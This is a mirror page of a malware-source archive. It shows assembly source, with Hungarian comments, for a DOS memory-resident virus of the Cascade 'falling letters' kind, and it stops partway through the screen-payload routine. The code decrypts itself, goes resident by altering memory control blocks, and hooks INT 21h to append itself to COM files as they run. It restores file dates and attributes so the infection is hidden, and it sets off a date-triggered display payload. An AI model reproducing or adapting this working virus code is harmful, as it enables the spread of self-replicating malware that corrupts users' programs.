mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 10:56:10 +00:00
781 lines
19 KiB
NASM
781 lines
19 KiB
NASM
|
PAGE ,132
|
||
|
VIRUS SEGMENT PARA PUBLIC 'CODE'
|
||
|
ASSUME CS:VIRUS,DS:VIRUS
|
||
|
|
||
|
R1 EQU IDE-131H
|
||
|
R2 EQU BE1-1A3H
|
||
|
HOSSZ EQU VEG-KEZDET
|
||
|
|
||
|
ORG 100H
|
||
|
KEZDET EQU $
|
||
|
DB 1
|
||
|
CLI
|
||
|
MOV BP,SP
|
||
|
CALL IDE
|
||
|
IDE: POP BX ; A CIM VISSZAOLVASASA
|
||
|
SUB BX,131H
|
||
|
TEST CS:BYTE PTR [BX+KEZDET-R1],1
|
||
|
JZ INDIT
|
||
|
LEA SI,[BX+INDIT-R1]
|
||
|
MOV SP,OFFSET VEG-INDIT
|
||
|
FOLYT: XOR [SI],SI
|
||
|
XOR [SI],SP
|
||
|
INC SI
|
||
|
DEC SP
|
||
|
JNZ FOLYT
|
||
|
INDIT: MOV SP,BP
|
||
|
JMP BEEPUL
|
||
|
|
||
|
REGCIM DW 100H
|
||
|
VSZ DW 0
|
||
|
MENTAX DW 0
|
||
|
PRGKEZ DB 0,0,0
|
||
|
DW 0
|
||
|
REG1C DD 0
|
||
|
REG21 DD 0
|
||
|
REG28 DD 0
|
||
|
DW 0
|
||
|
FILATT DW 0
|
||
|
FILDAT DW 0
|
||
|
FILIDO DW 0
|
||
|
FILNEV DD 0
|
||
|
FILHOS DD 0
|
||
|
UJKEZD DB 0E9H,0,0
|
||
|
VIDOSZL DB 0
|
||
|
VIDSOR DB 0
|
||
|
VIDMOD DB 0
|
||
|
OLVKAR DB 0
|
||
|
OLVATT DB 0
|
||
|
STATUS DB 0
|
||
|
VIDKEZ DW 0
|
||
|
VIDOFS DW 0
|
||
|
IDOEGYS DW 0
|
||
|
SZAML DW 0
|
||
|
SZAMLEL DW 0
|
||
|
MAXKAR DW 0
|
||
|
POTYKAR DW 0
|
||
|
ORA DB 16 DUP(0)
|
||
|
|
||
|
BEEPUL: CALL BE1
|
||
|
BE1: POP BX
|
||
|
SUB BX,1A3H
|
||
|
MOV CS:[BX+VSZ-R2],CS ; A KODSZEGMENS TAROLASA, AZ INDITAS SZEGMENSE
|
||
|
MOV CS:[BX+MENTAX-R2],AX
|
||
|
MOV AX,CS:[BX+PRGKEZ-R2]
|
||
|
MOV DS:100H,AX ; AZ ELSO HAROM BYTE VISSZAALLITASA
|
||
|
MOV AL,CS:[BX+PRGKEZ+2-R2]
|
||
|
MOV DS:102H,AL
|
||
|
PUSH BX
|
||
|
MOV AH,30H ; A DOS VERZIOSZAM BEOLVASASA
|
||
|
INT 21H
|
||
|
POP BX
|
||
|
CMP AL,2
|
||
|
JB VISSZA ; HA KISEBB, MINT A 2.0 VERZIO
|
||
|
MOV AX,4BFFH ; A VIRUS AKTIVALTSAG ELLENORZESE
|
||
|
XOR DI,DI ; DI=0
|
||
|
XOR SI,SI ; SI=0
|
||
|
INT 21H ; A VIRUS MAR A MEMORIABAN?
|
||
|
CMP DI,55AAH ; HA DI=55AA, AKKOR MAR AKTIV
|
||
|
JNZ BE2 ; UGRAS, HA MAR MUKODIK
|
||
|
JB BE3 ; MINDIG HAMIS
|
||
|
VISSZA: STI ; ELINDITJA A GAZDAPROGRAMOT
|
||
|
PUSH DS
|
||
|
POP ES ; AZ ES VISSZAALLITASA
|
||
|
MOV AX,CS:[BX+MENTAX-R2]
|
||
|
JMP DWORD PTR CS:[BX+REGCIM-R2]
|
||
|
BE2: PUSH BX
|
||
|
MOV AX,3521H
|
||
|
INT 21H ; A 21H MEGSZAKITASVEKTOR BEOLVASASA
|
||
|
MOV AX,BX
|
||
|
POP BX ; ES ELTAROLASA A TABLAZATBAN
|
||
|
BE3: MOV CS:[BX+REG21-R2],AX
|
||
|
MOV CS:[BX+REG21+2-R2],ES
|
||
|
MOV AX,0F000H
|
||
|
MOV ES,AX
|
||
|
MOV DI,0E008H
|
||
|
CMP WORD PTR [DI],4F43H ; 'COPR. IBM'+00H ELLENORZESE /LENNE/
|
||
|
JNZ BE4
|
||
|
CMP WORD PTR [DI+2],5250H
|
||
|
JNZ BE4
|
||
|
CMP WORD PTR [DI+4],202EH
|
||
|
JNZ BE4
|
||
|
CMP WORD PTR [DI+6],4249H
|
||
|
JNZ BE4
|
||
|
CMP WORD PTR [DI+8],4DH
|
||
|
JZ VISSZA
|
||
|
BE4: MOV AX,HOSSZ/10H+11H ; A VIRUS HOSSZA+100H PARAGRAFUSBAN
|
||
|
MOV BP,CS ; ES RAALLITASA A PROGRAMOT MEGELOZO
|
||
|
DEC BP ; MCB-RE
|
||
|
MOV ES,BP
|
||
|
MOV SI,CS:[16H]
|
||
|
MOV ES:[1],SI
|
||
|
MOV DX,ES:[3] ; A SZABAD PARAGRAFUSOK BEOLVASASA DX-BE
|
||
|
MOV ES:[3],AX
|
||
|
MOV ES:BYTE PTR [0],4DH ; NEM UTOLSO MCB
|
||
|
SUB DX,AX ; AZ UJ SZABAD PARAGRAFUSOK SZAMA A VIRUS
|
||
|
DEC DX ; HOSSZAVAL ES EGYEL /AZ UJ MCB/ KEVESEBB
|
||
|
INC BP
|
||
|
ADD BP,AX
|
||
|
INC BP
|
||
|
MOV ES,BP
|
||
|
PUSH BX
|
||
|
MOV AH,50H
|
||
|
MOV BX,BP
|
||
|
INT 21H
|
||
|
POP BX
|
||
|
XOR DI,DI ; DI=0
|
||
|
PUSH ES
|
||
|
POP SS ; SS=ES - AZ UJ VEREM AZ UJ HELYEN LESZ
|
||
|
PUSH DI
|
||
|
LEA DI,[BX+VEG-R2-1] ; A PROGRAM VEGEROL
|
||
|
MOV SI,DI
|
||
|
MOV CX,OFFSET HOSSZ ; A VIRUST /CX-BE A VIRUS HOSSZA KERUL/
|
||
|
STD ; VISSZAFELE
|
||
|
REPZ MOVSB ; FELMASOLJA
|
||
|
PUSH ES
|
||
|
LEA CX,[BX+BE9-R2] ; KOZVETLEN VEZERLESATADAS AZ UJ HELYEN
|
||
|
PUSH CX ; LEVO VIRUSRA. A PROGRAM VALOJABAN A
|
||
|
RETF ; RETF UTASITAS UTAN FOLYTATODIK
|
||
|
BE9: MOV CS:[BX+VSZ-R2],CS ; AZ UJ SZEGMENSCIM AZ INDITASHOZ
|
||
|
LEA CX,[BX+KEZDET-R2] ; A PROGRAM HOSSZA VIRUS NELKUL
|
||
|
REPZ MOVSB ; A PROGRAM 'FELHUZASA' A VIRUS ALA
|
||
|
MOV CS:36H,CS
|
||
|
DEC BP ; AZ UJ MCB SZEGMENSCIME
|
||
|
MOV ES,BP ; ATTOLTENI ES-BE
|
||
|
MOV ES:[3],DX ; BEALLITANI A SZABAD PARAGRAFUSOK SZAMAT
|
||
|
MOV ES:BYTE PTR [0],5AH ; ES EZ AZ UTOLSO MCB
|
||
|
MOV ES:WORD PTR [1],CS ; A PROGRAM SZEGMENSCIME
|
||
|
INC BP ; ES=ES+1, A SZEGMENSREGISZTER VISSZAALLITASA
|
||
|
MOV ES,BP ; A PROGRAM ELEJERE
|
||
|
PUSH DS
|
||
|
POP ES ; ES=DS
|
||
|
PUSH CS
|
||
|
POP DS ; DS=CS
|
||
|
LEA SI,[BX+KEZDET-R2] ; A PROGRAM HOSSZA VIRUS NELKUL
|
||
|
MOV DI,100H
|
||
|
MOV CX,OFFSET HOSSZ ; A VIRUS HOSSZA
|
||
|
CLD ; A VIRUS LEMASOLASA A PROGRAM ELOTT
|
||
|
REPZ MOVSB ; FELSZABADULT HELYRE
|
||
|
PUSH ES ; ES KOZVETLEN VEZERLESATADAS A VEGLEGES
|
||
|
LEA AX,DS:BE8 ; HELYEN TALALHATO VIRUS SZAMARA
|
||
|
PUSH AX ; AZ UGRAS AZ UJ VIRUS RETF UTASITASA
|
||
|
RETF ; UTAN TORTENIK
|
||
|
BE8: MOV CS:WORD PTR [2CH],0
|
||
|
MOV CS:16H,CS
|
||
|
PUSH DS ; DS ERTEKET ELMENTENI
|
||
|
LEA DX,DS:UJ21 ; AZ UJ INT 21H CIMENEK BEALLITASA
|
||
|
PUSH CS ; DS=CS
|
||
|
POP DS
|
||
|
MOV AX,2521H
|
||
|
INT 21H
|
||
|
POP DS ; DS REGI ERTEKE
|
||
|
MOV AH,1AH
|
||
|
MOV DX,80H
|
||
|
INT 21H ; A DTA CIM BEALLITASA
|
||
|
CALL BEMAS ; A RENDSZERIDO BEMASOLASA A TABLAZATBA
|
||
|
MOV AH,2AH
|
||
|
INT 21H ; RENDSZERDATUM BEOLVASASA
|
||
|
CMP CX,1988 ; A MAI DATUM NAGYOBB, MINT 1988?
|
||
|
JA BE5 ; IGEN: CSAK FERTOZES
|
||
|
JZ BE6 ; IDEN VAN 1988
|
||
|
CMP CX,1980 ; 1980 VAN?
|
||
|
JNZ BE5 ; IGEN: CSAK FERTOZES
|
||
|
PUSH DS
|
||
|
MOV AX,3528H
|
||
|
INT 21H ; A 28H VEKTOR BEOLVASASA, ES ELTAROLASA
|
||
|
MOV CS:WORD PTR REG28,BX
|
||
|
MOV CS:WORD PTR REG28+2,ES
|
||
|
MOV AX,2528H
|
||
|
MOV DX,OFFSET UJ28 ; DX-BE AZ UJ INT 28H OFFSZETJE
|
||
|
PUSH CS
|
||
|
POP DS ; DS=CS
|
||
|
INT 21H ; A MEGSZAKITASI VEKTOR BEALLITASA
|
||
|
POP DS
|
||
|
OR CS:STATUS,1000B ; A POTYOGAS LETILTASA
|
||
|
JMP BE7
|
||
|
BE6: CMP DH,0AH ; CSAK OKTOBERTOL DECEMBERIG POTYOG
|
||
|
JB BE5 ; MEG NINCS
|
||
|
BE7: CALL KESLH ; A KESLELTETESI ERTEK MEGHATAROZASA
|
||
|
MOV AX,1518H
|
||
|
CALL VELETL
|
||
|
INC AX
|
||
|
MOV CS:SZAML,AX ; A BELSO VALTOZOK BEALLITASA
|
||
|
MOV CS:SZAMLEL,AX
|
||
|
MOV CS:POTYKAR,1
|
||
|
MOV AX,351CH
|
||
|
INT 21H ; AZ 1CH VEKTOR BEOLVASASA ES ELTAROLASA
|
||
|
MOV CS:WORD PTR REG1C,BX
|
||
|
MOV CS:WORD PTR REG1C+2,ES
|
||
|
PUSH DS
|
||
|
MOV AX,251CH
|
||
|
MOV DX,OFFSET UJ1C ; AZ UJ INT 1CH OFFSZETJE
|
||
|
PUSH CS ; ES SZEGMENSE
|
||
|
POP DS
|
||
|
INT 21H ; AZ 1CH VEKTOR BEALLITASA
|
||
|
POP DS
|
||
|
BE5: MOV BX,0FFD6H
|
||
|
JMP VISSZA
|
||
|
|
||
|
UJ21: CMP AH,4BH ; A FUNKCIOKOD 4BH?
|
||
|
JZ U21_1 ; IGEN
|
||
|
U21_2: JMP DWORD PTR CS:REG21 ; FOLYTATAS A REGI INT 21H-N
|
||
|
U21_3: MOV DI,55AAH ; A VIRUS AKTIVALTSAGA
|
||
|
LES AX,CS:REG21
|
||
|
MOV DX,CS
|
||
|
IRET
|
||
|
U21_1: CMP AL,0FFH ; A VIRUS AKTIVALTSAG KERDEZESE?
|
||
|
JZ U21_3 ; IGEN
|
||
|
CMP AL,0 ; BETOLTES & INDITAS?
|
||
|
JNZ U21_2 ; NEM
|
||
|
PUSHF ; A REGISZTEREK MENTESE
|
||
|
PUSH AX
|
||
|
PUSH BX
|
||
|
PUSH CX
|
||
|
PUSH DX
|
||
|
PUSH SI
|
||
|
PUSH DI
|
||
|
PUSH BP
|
||
|
PUSH ES
|
||
|
PUSH DS
|
||
|
MOV CS:WORD PTR FILNEV,DX
|
||
|
MOV CS:WORD PTR FILNEV+2,DS
|
||
|
PUSH CS
|
||
|
POP ES
|
||
|
MOV AX,3D00H
|
||
|
INT 21H ; A FILE MEGNYITASA OLVASASRA
|
||
|
JC FERT1
|
||
|
MOV BX,AX ; A FILESZAM ATVITELE BX-BE
|
||
|
MOV AX,5700H
|
||
|
INT 21H ; A KELETKEZESI IDO BEOLVASASA
|
||
|
MOV CS:FILDAT,DX ; ES ELTAROLASA
|
||
|
MOV CS:FILIDO,CX
|
||
|
MOV AH,3FH
|
||
|
PUSH CS
|
||
|
POP DS
|
||
|
MOV DX,OFFSET PRGKEZ
|
||
|
MOV CX,3
|
||
|
INT 21H ; AZ ELSO HAROM BYTE BEOLVASASA
|
||
|
JC FERT1
|
||
|
CMP AX,CX ; SIKERULT MINDENT BEOLVASNI?
|
||
|
JNZ FERT1 ; NEM, HIBA TORTENT
|
||
|
MOV AX,4202H
|
||
|
XOR CX,CX
|
||
|
XOR DX,DX
|
||
|
INT 21H ; FILE HOSSZANAK A MEGHATAROZASA
|
||
|
MOV CS:WORD PTR FILHOS,AX
|
||
|
MOV CS:WORD PTR FILHOS+2,DX
|
||
|
MOV AH,3EH
|
||
|
INT 21H ; A FILE LEZARASA
|
||
|
CMP CS:WORD PTR PRGKEZ,5A4DH
|
||
|
JNZ FERT2 ; COM FILE?
|
||
|
JMP FERT3 ; EXE ESETEN VISSZATERES
|
||
|
FERT2: CMP CS:WORD PTR FILHOS+2,0
|
||
|
JA FERT1 ; NAGYOBB, MINT 64K?
|
||
|
CMP CS:WORD PTR FILHOS,0F93BH
|
||
|
JBE FERT7 ; A FILE MEG MEGFELELO MERETU
|
||
|
FERT1: JMP FERT3
|
||
|
FERT7: CMP CS:PRGKEZ,0E9H ; JMP UTASITAS?
|
||
|
JNZ FERT8 ; NEM
|
||
|
MOV AX,CS:WORD PTR FILHOS
|
||
|
ADD AX,0F959H ; FILE HOSSZA - VIRUS HOSSZA : IDE UGRIK?
|
||
|
CMP AX,CS:WORD PTR PRGKEZ+1
|
||
|
JZ FERT1 ; EZ A FILE MAR FERTOZOTT
|
||
|
FERT8: MOV AX,4300H
|
||
|
LDS DX,CS:FILNEV
|
||
|
INT 21H ; A FILE ATTRIBUTUMANAK BEOLVASASA
|
||
|
JC FERT1
|
||
|
MOV CS:FILATT,CX ; AZ ATTRIBUTUM TAROLASA
|
||
|
XOR CL,20H ; AZ ARCHIV BIT INVERTALASA
|
||
|
TEST CL,27H
|
||
|
JZ FERT5
|
||
|
MOV AX,4301H
|
||
|
XOR CX,CX
|
||
|
INT 21H ; AZ UJ ATTRIBUTUM FELIRASA
|
||
|
JC FERT1
|
||
|
FERT5: MOV AX,3D02H
|
||
|
INT 21H ; FILE NYITASA IRASRA & OLVASASRA
|
||
|
JC FERT1
|
||
|
MOV BX,AX ; FILE SORSZAM BX-BE
|
||
|
MOV AX,4202H
|
||
|
XOR CX,CX
|
||
|
XOR DX,DX
|
||
|
INT 21H ; MUTATO A FILE VEGERE
|
||
|
CALL UTANMAS ; A VIRUST UTANAMASOLNI
|
||
|
JNC FERT9 ; SIKERULT?
|
||
|
MOV AX,4200H
|
||
|
MOV CX,CS:WORD PTR FILHOS+2
|
||
|
MOV DX,CS:WORD PTR FILHOS
|
||
|
INT 21H ; MUTATO A FILE EREDETI VEGERE
|
||
|
MOV AH,40H
|
||
|
XOR CX,CX
|
||
|
INT 21H ; A FILEHOSSZ FELIRASA
|
||
|
JMP FERT6
|
||
|
FERT9: MOV AX,4200H
|
||
|
XOR CX,CX
|
||
|
XOR DX,DX
|
||
|
INT 21H ; MUTATO A FILE ELEJERE
|
||
|
JC FERT6
|
||
|
MOV AX,CS:WORD PTR FILHOS
|
||
|
ADD AX,0FFFEH ; AZ UGRASI CIM KISZAMITASA
|
||
|
MOV CS:WORD PTR UJKEZD+1,AX
|
||
|
MOV AH,040H
|
||
|
MOV DX,OFFSET UJKEZD
|
||
|
MOV CX,3
|
||
|
INT 21H ; AZ ELSO HAROM BYTE KIIRASA
|
||
|
FERT6: MOV AX,5701H
|
||
|
MOV DX,CS:FILDAT ; A DATUM
|
||
|
MOV CX,CS:FILIDO ; ES IDO BEOLVASASA
|
||
|
INT 21H ; ES BEALLITASA
|
||
|
MOV AH,3EH
|
||
|
INT 21H ; A FILE LEZARASA
|
||
|
MOV CX,CS:FILATT ; AZ ATTRIBUTUM BEOLVASASA
|
||
|
TEST CL,111B ; R/O, REJTETT VAGY RENDSZER?
|
||
|
JNZ FERTA
|
||
|
TEST CL,100000B ; ARCHIV FILE?
|
||
|
JNZ FERT3
|
||
|
FERTA: MOV AX,4301H
|
||
|
LDS DX,CS:FILNEV
|
||
|
INT 21H ; A FILE ATTRIBUTUMANAK BEALLITASA
|
||
|
FERT3: POP DS ; A REGISZTEREK VISSZAOLVASASA
|
||
|
POP ES
|
||
|
POP BP
|
||
|
POP DI
|
||
|
POP SI
|
||
|
POP DX
|
||
|
POP CX
|
||
|
POP BX
|
||
|
POP AX
|
||
|
POPF
|
||
|
JMP U21_2
|
||
|
|
||
|
VELETL PROC NEAR ; EGY VELETLENSZAM ELOALLITASA
|
||
|
PUSH DS
|
||
|
PUSH CS
|
||
|
POP DS
|
||
|
PUSH BX
|
||
|
PUSH CX
|
||
|
PUSH DX
|
||
|
PUSH AX
|
||
|
MOV CX,7
|
||
|
MOV BX,OFFSET ORA+0EH
|
||
|
PUSH [BX]
|
||
|
VEL1: MOV AX,[BX-2]
|
||
|
ADC [BX],AX
|
||
|
DEC BX
|
||
|
DEC BX
|
||
|
LOOP VEL1
|
||
|
POP AX
|
||
|
ADC [BX],AX
|
||
|
MOV DX,[BX]
|
||
|
POP AX
|
||
|
OR AX,AX
|
||
|
JZ VEL2
|
||
|
MUL DX
|
||
|
VEL2: MOV AX,DX
|
||
|
POP DX ; REGISZTEREK VISSZAALLITASA
|
||
|
POP CX
|
||
|
POP BX
|
||
|
POP DS
|
||
|
RET
|
||
|
VELETL ENDP
|
||
|
|
||
|
BEMAS PROC NEAR ; A RENDSZERIDO BEMASOLASA A TABLAZATBA
|
||
|
PUSH DS ; A REGISZTEREK ELMENTESE
|
||
|
PUSH ES
|
||
|
PUSH SI
|
||
|
PUSH DI
|
||
|
PUSH CX
|
||
|
PUSH CS ; ES=CS
|
||
|
POP ES
|
||
|
MOV CX,40H ; FORRAS= 0000:046CH
|
||
|
MOV DS,CX ; AZ ORA BEMASOLASA
|
||
|
MOV DI,OFFSET ORA
|
||
|
MOV SI,6CH
|
||
|
MOV CX,8 ; 16 BYTE
|
||
|
CLD ; NOVEKVO IRANYBA
|
||
|
REPZ MOVSW
|
||
|
POP CX ; A REGISZEREK ELOZO ERTEKEINEK
|
||
|
POP DI ; VISSZAALLITASA
|
||
|
POP SI
|
||
|
POP ES
|
||
|
POP DS
|
||
|
RET ; VISSZATERES
|
||
|
BEMAS ENDP
|
||
|
|
||
|
VIDOLV PROC NEAR ; OLVASAS A VIDEORAM-BOL
|
||
|
PUSH SI ; REGISZTEREK ELMENTESE
|
||
|
PUSH DS
|
||
|
PUSH DX
|
||
|
MOV AL,DH
|
||
|
MUL VIDOSZL ; A SOR SZAMA SZOROZVA A SORON BELULI OSZLOPOK
|
||
|
MOV DH,0 ; SZAMAVAL, PLUSZ AZ OSZLOPOK SZAMA
|
||
|
ADD AX,DX
|
||
|
SHL AX,1 ; SZORZAS KETTOVEL (KAR.+ATTRIB.)
|
||
|
ADD AX,VIDOFS ; ELTOLAS A SZEGMENSEN BELUL
|
||
|
MOV SI,AX
|
||
|
TEST VIDMOD,11111111B ; HAVAZIK A KEPERNYO?
|
||
|
MOV DS,VIDKEZ
|
||
|
JZ VO3 ; NEM HAVAZIK
|
||
|
MOV DX,3DAH ; A CGA KARTYA STATUSZPORTJA
|
||
|
CLI ; A MEGSZAKITASOKAT LETILTANI
|
||
|
VO1: IN AL,DX ; A STATUSZ BEOLVASASA
|
||
|
TEST AL,1000B ; FUGGOLEGES VISSZAFUTAS
|
||
|
JNZ VO3
|
||
|
TEST AL,1 ; VARJUK MEG, MIG NEM OLVASHATUNK A RAM-BOL
|
||
|
JNZ VO1
|
||
|
VO2: IN AL,DX
|
||
|
TEST AL,1
|
||
|
JZ VO2
|
||
|
VO3: LODSW ; A KARAKTER ES ATTRIBUTUM BEOLVASASA
|
||
|
STI ; A MEGZAKITAS ELLENORZESE
|
||
|
POP DX ; REGISZTEREK VISSZAOLVASASA
|
||
|
POP DS
|
||
|
POP SI
|
||
|
RET
|
||
|
VIDOLV ENDP
|
||
|
|
||
|
VIDIR PROC NEAR ; KIIRAS A VIDEORAM-BA
|
||
|
PUSH DI ; REGISZTEREK ELMENTESE
|
||
|
PUSH ES
|
||
|
PUSH DX
|
||
|
PUSH BX
|
||
|
MOV BX,AX ; A KARAKTER ES AZ ATTRIBUTUM ELMENTESE
|
||
|
MOV AL,DH ; A CIM KISZAMITASA
|
||
|
MUL VIDOSZL
|
||
|
MOV DH,0
|
||
|
ADD AX,DX
|
||
|
SHL AX,1 ; SZORZAS KETTOVEL
|
||
|
ADD AX,VIDOFS
|
||
|
MOV DI,AX
|
||
|
TEST VIDMOD,11111111B ; HAVAZIK A KEPERNYO?
|
||
|
MOV ES,VIDKEZ
|
||
|
JZ VI3 ; NEM HAVAZIK
|
||
|
MOV DX,03DAH ; A CGA KARTYA STATUSZPORTJA
|
||
|
CLI ; MEGSZAKITASOKAT TILTANI
|
||
|
VI1: IN AL,DX ; A STATUSZT BEOLVASNI
|
||
|
TEST AL,1000B ; FUGGOLEGES VISSZAFUTAS?
|
||
|
JNZ VI3 ; IGEN
|
||
|
TEST AL,1 ; IRHATUNK A VIDEORAM-BA?
|
||
|
JNZ VI1 ; HA IGEN, AKKOR VARJUNK MEG
|
||
|
VI2: IN AL,DX ; A STATUSZ BEOLVASASA
|
||
|
TEST AL,1 ; VARJUK MEG, AMIRE ISMET OLVASHATUNK
|
||
|
JZ VI2
|
||
|
VI3: MOV AX,BX ; A KARAKTER ES AZ ATTRIBUTUM BETOLTESE
|
||
|
STOSB ; BEIRASA A VIDEORAM-BA
|
||
|
STI ; A MEGSZAKITASOK MAR ENGEDELYEZHETOK
|
||
|
POP BX ; A REGISZTEREK VISSZAALITASA
|
||
|
POP DX
|
||
|
POP ES
|
||
|
POP DI
|
||
|
RET ; VISSZATERES
|
||
|
VIDIR ENDP
|
||
|
|
||
|
VARAK PROC NEAR ; VARAKOZAS CX IDEIG
|
||
|
PUSH CX
|
||
|
V1: PUSH CX
|
||
|
MOV CX,IDOEGYS
|
||
|
V2: LOOP V2
|
||
|
POP CX
|
||
|
LOOP V1
|
||
|
POP CX
|
||
|
RET
|
||
|
VARAK ENDP
|
||
|
|
||
|
HANGSZ PROC NEAR ; A HANGSZORO ATKAPCSOLASA
|
||
|
PUSH AX ; AX ELMENTESE
|
||
|
IN AL,61H ; A PPI BEOLVASASA
|
||
|
XOR AL,2 ; A HANGSZORO ATKAPCSOLASA
|
||
|
AND AL,11111110B ; ENGEDELYEZESE
|
||
|
OUT 61H,AL ; VISSZAIRASA
|
||
|
POP AX ; AX VISSZAALLITASA
|
||
|
RET ; VISSZATERES
|
||
|
HANGSZ ENDP
|
||
|
|
||
|
URES PROC NEAR
|
||
|
CMP AL,0 ; NUL KODJA?
|
||
|
JZ UR1 ; IGEN
|
||
|
CMP AL,20H ; SZOKOZ?
|
||
|
JZ UR1 ; IGEN
|
||
|
CMP AL,0FFH ; 0FFH IS URES
|
||
|
JZ UR1 ; AZ
|
||
|
CLC ; NEM URES
|
||
|
RET ; VISSZATERES
|
||
|
UR1: STC ; URES
|
||
|
RET ; VISSZATERES
|
||
|
URES ENDP
|
||
|
|
||
|
GRAFIK PROC NEAR
|
||
|
CMP AL,0B0H ; 0B0H<=AL<=0DFH?
|
||
|
JB GR1 ; NEM
|
||
|
CMP AL,0DFH
|
||
|
JA GR1 ; NEM
|
||
|
STC ; IGEN
|
||
|
RET ; VISSZATERES
|
||
|
GR1: CLC ; NEM GRAFIKUS
|
||
|
RET ; VISSZATERES
|
||
|
GRAFIK ENDP
|
||
|
|
||
|
KESLH PROC NEAR ; A KESLELTETESI ERTEK MEGHATAROZASA
|
||
|
PUSH DS
|
||
|
MOV AX,40H
|
||
|
MOV DS,AX
|
||
|
STI
|
||
|
MOV AX,DS:6CH ; AZ ORA BEOLVASASA
|
||
|
KES1: CMP AX,DS:6CH ; VARAKOZAS, MIG AZ ORA EPPEN NEM LEP
|
||
|
JZ KES1
|
||
|
XOR CX,CX ; CX NULLAZASA
|
||
|
MOV AX,DS:6CH ; AZ ORA BEOLVASASA
|
||
|
KES2: INC CX ; CX=CX+1
|
||
|
JZ KES4 ; HA TULCSORDULT
|
||
|
CMP AX,DS:6CH ; LEPETT MAR AZ ORA?
|
||
|
JZ KES2 ; MEG NEM
|
||
|
KES3: POP DS
|
||
|
MOV AX,CX
|
||
|
XOR DX,DX
|
||
|
MOV CX,0FH
|
||
|
DIV CX
|
||
|
MOV CS:IDOEGYS,AX ; AZ IDOEGYSEG ELTAROLASA
|
||
|
RET
|
||
|
KES4: DEC CX
|
||
|
JMP KES3
|
||
|
KESLH ENDP
|
||
|
|
||
|
POTY PROC NEAR ; POTYOGTATAS
|
||
|
MOV VIDSOR,24
|
||
|
PUSH DS
|
||
|
MOV AX,40H ; A BIOS PARAMETERBLOKK
|
||
|
MOV DS,AX
|
||
|
MOV AX,DS:4EH ; A VIDEOPUFFER OFSZET ERTEKE
|
||
|
POP DS
|
||
|
MOV VIDOFS,AX
|
||
|
MOV DL,0FFH
|
||
|
MOV AX,1130H
|
||
|
MOV BH,0
|
||
|
PUSH ES ; ES & BP ELMENTESE
|
||
|
PUSH BP
|
||
|
INT 10H ; A SOROK SZAMANAK BEOLVASASA
|
||
|
POP BP ; ES & BP VISSZAALLITASA
|
||
|
POP ES
|
||
|
CMP DL,0FFH
|
||
|
JZ PO1
|
||
|
PO4: MOV VIDSOR,DL ; A SOROK SZAMANAK ELTAROLASA
|
||
|
PO1: MOV AH,0FH
|
||
|
INT 10H ; OSZLOPOK SZAMANAK A BEOLVASASA
|
||
|
MOV VIDOSZL,AH ; ES ELTAROLASA
|
||
|
MOV VIDMOD,0 ; A MOD ES A VIDEOMEMORIA SZEGMENSCIMENEK
|
||
|
MOV VIDKEZ,0B000H ; BEALLITASA
|
||
|
CMP AL,7 ; AZ AKTUALIS MOD EGA-TEXT?
|
||
|
JZ PO3 ; IGEN
|
||
|
JB PO2
|
||
|
JMP PO7
|
||
|
PO2: MOV VIDKEZ,0B800H ; A VIDEOMEMORIA KEZDOCIME
|
||
|
CMP AL,3
|
||
|
JA PO3
|
||
|
CMP AL,2
|
||
|
JB PO3
|
||
|
MOV VIDMOD,1 ; HAVAZIK A KEPERNYO
|
||
|
MOV AL,VIDSOR ; A SOROK SZAMA
|
||
|
INC AL ; MEG EGY
|
||
|
MUL VIDOSZL ; SZOROZVA AZ OSZLOPOK SZAMAVAL
|
||
|
MOV MAXKAR,AX ; ENNYI KARAKTERHELY VAN A KEPERNYON
|
||
|
MOV AX,POTYKAR ; A POTYOGTATANDO KARAKTEREK SZAMA
|
||
|
CMP AX,MAXKAR ; NAGYOBB, MINT A MAXIMALIS KARAKTERSZAM?
|
||
|
JBE PO5 ; NEM, TOVABB
|
||
|
MOV AX,MAXKAR ; A MAXIMALIS KARAKTERSZAM
|
||
|
PO5: CALL VELETL ; VELETLENSZAM ELOALLITASA 1 ES A POTYOGTATANDO
|
||
|
INC AX ; /VAGY MAXIMALIS/ ERTEK KOZOTT
|
||
|
MOV SI,AX ; A MAXIMALISAN POTYOGTATHATO KARAKTEREK SZAMA
|
||
|
PO3: XOR DI,DI ; DI=0
|
||
|
PO8: INC DI ; DI=DI+1 : A SIKERTELEN KISERLETEKET SZAMLALJA
|
||
|
MOV AX,MAXKAR ; A MAXIMALIS KARAKTERSZAM
|
||
|
SHL AX,1 ; SZOROZVA KETTOVEL, ENNYI SIKERTELEN KISERLET
|
||
|
CMP DI,AX ; ENGEDELYEZETT EGYMAS UTAN
|
||
|
JBE PO6 ; MEG NEM TELT LE
|
||
|
JMP PO7 ; TULLEPTE, KILEPETT
|
||
|
PO6: OR STATUS,10B ; A KARAKTER NEM POTYOGOTT
|
||
|
MOV AL,VIDOSZL ; A MAXIMALIS ERTEK AZ OSZLOPOK SZAMA
|
||
|
MOV AH,0
|
||
|
CALL VELETL ; VELETLENSZAM ELOALLITASA
|
||
|
MOV DL,AL ; EZ LESZ AZ OSZLOPSZAM
|
||
|
MOV AL,VIDSOR ; MAXIMALIS ERTEK A SOROK SZAMA
|
||
|
MOV AH,0
|
||
|
CALL VELETL ; VELETLENSZAM ELOALLITASA
|
||
|
MOV DH,AL ; EZ LESZ A SORSZAM
|
||
|
CALL VIDOLV ; A MEGFELELO KARAKTER BEOLVASASA
|
||
|
CALL URES ; URES-E?
|
||
|
JC PO8 ; IGEN
|
||
|
CALL GRAFIK ; GRAFIKUS-E?
|
||
|
JC PO8 ; IGEN
|
||
|
MOV OLVKAR,AL ; A BEOLVASOTT KARAKTER ES ATTRIBUTUMANAK
|
||
|
MOV OLVATT,AH ; ELTAROLASA
|
||
|
MOV CL,VIDSOR ; CX=SOROK SZAMA
|
||
|
MOV CH,0
|
||
|
POC: INC DH ; A KOVETKEZO SOR
|
||
|
CMP DH,VIDSOR ; ELERTE A MAXIMALISAT?
|
||
|
JA PO9 ; TULLEPTE, ABBAHAGYNI
|
||
|
CALL VIDOLV ; A KARAKTER BEOLVASASA
|
||
|
CMP AH,OLVATT ; AZ ATTRIBUTUM STIMMEL?
|
||
|
JNZ PO9 ; NEM EGYEZIK
|
||
|
CALL URES ; URES KARAKTER-E?
|
||
|
JC POA ; IGEN
|
||
|
POE: CALL GRAFIK ; GRAFIKUS-E?
|
||
|
JC PO9 ; IGEN
|
||
|
INC DH ; A KOVETKEZO SOR
|
||
|
CMP DH,VIDSOR ; TULLEPTE AZ UTOLSO SORT?
|
||
|
JA PO9 ; IGEN
|
||
|
